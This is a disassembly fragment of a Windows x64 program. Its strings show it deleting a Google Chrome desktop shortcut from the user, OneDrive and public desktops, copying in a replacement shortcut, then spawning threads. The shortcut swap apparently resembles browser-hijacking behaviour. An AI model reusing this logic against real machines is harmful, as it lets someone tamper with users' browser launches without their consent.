mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x6f8]
cmp rdx, 0xf
jbe 0x140010156
inc rdx
mov rcx, qword [rsp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010151
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ebb
call fcn.140036370
mov qword [rsp + 0x6f0], rsi
mov qword [rsp + 0x6f8], 0xf
mov byte [rsp + 0x6e0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x7e0], xmm0
mov qword [rsp + 0x7f0], rsi
mov qword [rsp + 0x7f8], rsi
mov r8d, 0x29
lea rdx, str.C:UsersPublicDesktopGoogle_Chrome.lnk
lea rcx, [rsp + 0x7e0]
call fcn.14001f010
nop
lea rax, [rsp + 0x740]
cmp qword [rsp + 0x758], 0xf
cmova rax, qword [rsp + 0x740]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003340
nop
lea rcx, [rsp + 0x80]
call fcn.140004990
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140010260
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001025b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ec1
call fcn.140036370
test bl, bl
je 0x1400102b4
lea rdx, [rsp + 0x740]
lea rcx, [rsp + 0x700]
call fcn.14001d210
nop
lea rcx, [rsp + 0x700]
call fcn.140004aa0
movzx ebx, al
lea rcx, [rsp + 0x700]
call fcn.140003a00
test bl, bl
je 0x1400102a4
lea rdx, str.File_removed_from_user_desktop.
jmp 0x1400102bb
lea rdx, str.Error_deleting_file_from_user_desktop.
lea rcx, [0x14007eec0]
jmp 0x1400102c2
lea rdx, str.File_not_found_on_user_desktop.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
lea rax, [rsp + 0x780]
cmp qword [rsp + 0x798], 0xf
cmova rax, qword [rsp + 0x780]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x790]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003340
nop
lea rcx, [rsp + 0x80]
call fcn.140004990
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x140010387
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010382
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ec7
call fcn.140036370
test bl, bl
je 0x1400103db
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x700]
call fcn.14001d210
nop
lea rcx, [rsp + 0x700]
call fcn.140004aa0
movzx ebx, al
lea rcx, [rsp + 0x700]
call fcn.140003a00
test bl, bl
je 0x1400103cb
lea rdx, str.File_removed_from_OneDrive_desktop.
jmp 0x1400103e2
lea rdx, str.Error_deleting_file_from_OneDrive_desktop.
lea rcx, [0x14007eec0]
jmp 0x1400103e9
lea rdx, str.File_not_found_on_OneDrive_desktop.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
lea rax, [rsp + 0x7e0]
cmp qword [rsp + 0x7f8], 0xf
cmova rax, qword [rsp + 0x7e0]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003340
nop
lea rcx, [rsp + 0x80]
call fcn.140004990
movzx ebx, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x1400104ae
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400104a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ecd
call fcn.140036370
test bl, bl
je 0x140010502
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x700]
call fcn.14001d210
nop
lea rcx, [rsp + 0x700]
call fcn.140004aa0
movzx ebx, al
lea rcx, [rsp + 0x700]
call fcn.140003a00
test bl, bl
je 0x1400104f2
lea rdx, str.File_removed_from_publicDesktop_desktop.
jmp 0x140010509
lea rdx, str.Error_deleting_file_from_publicDesktop_desktop.
lea rcx, [0x14007eec0]
jmp 0x140010510
lea rdx, str.File_not_found_on_publicDesktop_desktop.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
nop
lea rax, [rsp + 0x740]
cmp qword [rsp + 0x758], 0xf
cmova rax, qword [rsp + 0x740]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140003340
nop
lea rax, [rsp + 0x7a0]
cmp qword [rsp + 0x7b8], 0xf
cmova rax, qword [rsp + 0x7a0]
mov qword [rsp + 0x600], rax
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x608], rax
call fcn.1400328a4
movaps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
lea r8, [rsp + 0x600]
mov edx, eax
lea rcx, [rsp + 0x680]
call fcn.140003340
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x680]
call fcn.140004930
movzx ebx, al
mov rdx, qword [rsp + 0x698]
cmp rdx, 7
jbe 0x14001063e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x680]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010639
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ed3
call fcn.140036370
mov qword [rsp + 0x690], rsi
mov qword [rsp + 0x698], 7
mov word [rsp + 0x680], si
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x1400106a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001069d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010ed9
call fcn.140036370
test bl, bl
je 0x1400106c6
lea rdx, str.lnk_copied_successfully_to_user_desktop.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
jmp 0x140010800
lea rdx, str.Error_copying_file_to_user_desktop_directory.
lea rcx, [0x14007eec0]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x80]
call fcn.14001d210
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0x700]
call fcn.14001d210
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x700]
call fcn.140004930
movzx ebx, al
lea rcx, [rsp + 0x700]
call fcn.140003a00
nop
lea rcx, [rsp + 0x80]
call fcn.140003a00
test bl, bl
je 0x140010764
lea rdx, str.lnk_copied_successfully_to_public_desktop.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
jmp 0x140010800
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x80]
call fcn.14001d210
nop
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0x700]
call fcn.14001d210
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x700]
call fcn.140004930
movzx ebx, al
lea rcx, [rsp + 0x700]
call fcn.140003a00
nop
lea rcx, [rsp + 0x80]
call fcn.140003a00
test bl, bl
je 0x1400107e4
lea rdx, str.lnk_copied_successfully_to_OneDrive.
lea rcx, [0x14007ed40]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
jmp 0x140010800
lea rdx, str.Error_copying_file_to_OneDrive_directory.
lea rcx, [0x14007eec0]
call fcn.14001cc60
mov rcx, rax
call fcn.14001cf10
nop
jmp 0x14001081c
mov ecx, 1
call fcn.140036378
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0x918]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14002f770]
xor edx, edx
xor ecx, ecx
call fcn.1400403d8
mov qword [rsp + 0x910], rax
test rax, rax
je 0x140010df3
mov ecx, 8
call fcn.140036378
lea rcx, [0x14000a0c0]
mov qword [rax], rcx
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0x808]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14002f7a0]
xor edx, edx
xor ecx, ecx
call fcn.1400403d8
mov qword [rsp + 0x800], rax
test rax, rax
je 0x140010f5a
cmp dword [rsp + 0x808], 0
je 0x140010edf
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x808], eax
je 0x140010eea
movaps xmm0, xmmword [rsp + 0x800]
movdqa xmmword [rsp + 0x600], xmm0
xor edx, edx
lea rcx, [rsp + 0x600]
call fcn.140035c6c
test eax, eax
jne 0x140010ef5
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x800], xmm0
cmp dword [rsp + 0x918], 0
jne 0x140010f00
mov rdx, qword [rsp + 0x7f8]
cmp rdx, 0xf
jbe 0x140010959
inc rdx
mov rcx, qword [rsp + 0x7e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f06
call fcn.140036370
mov qword [rsp + 0x7f0], rsi
mov qword [rsp + 0x7f8], 0xf
mov byte [rsp + 0x7e0], 0
mov rdx, qword [rsp + 0x7b8]
cmp rdx, 0xf
jbe 0x1400109b8
inc rdx
mov rcx, qword [rsp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400109b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f0c
call fcn.140036370
mov qword [rsp + 0x7b0], rsi
mov qword [rsp + 0x7b8], 0xf
mov byte [rsp + 0x7a0], 0
mov rdx, qword [rsp + 0x798]
cmp rdx, 0xf
jbe 0x140010a17
inc rdx
mov rcx, qword [rsp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f12
call fcn.140036370
mov qword [rsp + 0x790], rsi
mov qword [rsp + 0x798], 0xf
mov byte [rsp + 0x780], 0
mov rdx, qword [rsp + 0x758]
cmp rdx, 0xf
jbe 0x140010a76
inc rdx
mov rcx, qword [rsp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010a71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f18
call fcn.140036370
mov qword [rsp + 0x750], rsi
mov qword [rsp + 0x758], 0xf
mov byte [rsp + 0x740], 0
mov rdx, qword [rsp + 0x638]
cmp rdx, 0xf
jbe 0x140010ad5
inc rdx
mov rcx, qword [rsp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ad0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f1e
call fcn.140036370
mov qword [rsp + 0x630], rsi
mov qword [rsp + 0x638], 0xf
mov byte [rsp + 0x620], 0
mov rdx, qword [rsp + 0x6b8]
cmp rdx, 0xf
jbe 0x140010b35
inc rdx
mov rcx, qword [rsp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f24
call fcn.140036370
nop
mov rdx, qword [rsp + 0x8e8]
cmp rdx, 7
jbe 0x140010b7d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f2a
call fcn.140036370
mov qword [rsp + 0x8e0], rsi
mov qword [rsp + 0x8e8], 7
mov word [rsp + 0x8d0], si
mov rdx, qword [rsp + 0x8c8]
cmp rdx, 7
jbe 0x140010be1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010bdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f30
call fcn.140036370
mov qword [rsp + 0x8c0], rsi
mov qword [rsp + 0x8c8], 7
mov word [rsp + 0x8b0], si
mov rdx, qword [rsp + 0x8a8]
cmp rdx, 7
jbe 0x140010c45
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x890]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010c40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f36
call fcn.140036370
mov qword [rsp + 0x8a0], rsi
mov qword [rsp + 0x8a8], 7
mov word [rsp + 0x890], si
mov rdx, qword [rsp + 0x908]
cmp rdx, 7
jbe 0x140010ca9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x8f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010ca4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f3c
call fcn.140036370
mov qword [rsp + 0x900], rsi
mov qword [rsp + 0x908], 7
mov word [rsp + 0x8f0], si
mov rdx, qword [rsp + 0x868]
cmp rdx, 0xf
jbe 0x140010d09
inc rdx
mov rcx, qword [rsp + 0x850]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010d03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f42
call fcn.140036370
nop
mov rdx, qword [rsp + 0x778]
cmp rdx, 0xf
jbe 0x140010d4c
inc rdx
mov rcx, qword [rsp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010d47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f48
call fcn.140036370
mov qword [rsp + 0x770], rsi
mov qword [rsp + 0x778], 0xf
mov byte [rsp + 0x760], 0
cmp r13, 0xf
jbe 0x140010da0
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140010d97
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f4e
mov rcx, r14
call fcn.140036370
nop
mov rax, qword [rsp + 0x888]
cmp rax, 0xf
jbe 0x140010de1
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140010dd8
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010f54
mov rcx, r12
call fcn.140036370
nop
lea rcx, [rsp + 0x810]
call fcn.140007d70
jmp 0x14000e47f
mov dword [rsp + 0x918], esi
mov ecx, 6
call fcn.1400335bc
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
lea rcx, [rsp + 0x700]
call fcn.14001dc80
nop
lea rcx, [rsp + 0x700]
call fcn.140004e00
nop
lea rcx, [rsp + 0x700]
call fcn.140003a00
nop
xor ecx, ecx
call fcn.14003c190
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140001b50
nop
call fcn.140046048
int3
call fcn.140001b50
nop
call fcn.140046048
int3
call fcn.140001b50
nop
call fcn.140046048
nop
call fcn.140046048
int3
call fcn.140046048
int3
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
mov ecx, 1
call fcn.1400335bc
int3
mov ecx, 5
call fcn.1400335bc
int3
mov ecx, 2
call fcn.1400335bc
nop
call fcn.140044a94
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
call fcn.140046048
nop
mov dword [rsp + 0x808], esi
mov ecx, 6
call fcn.1400335bc
int3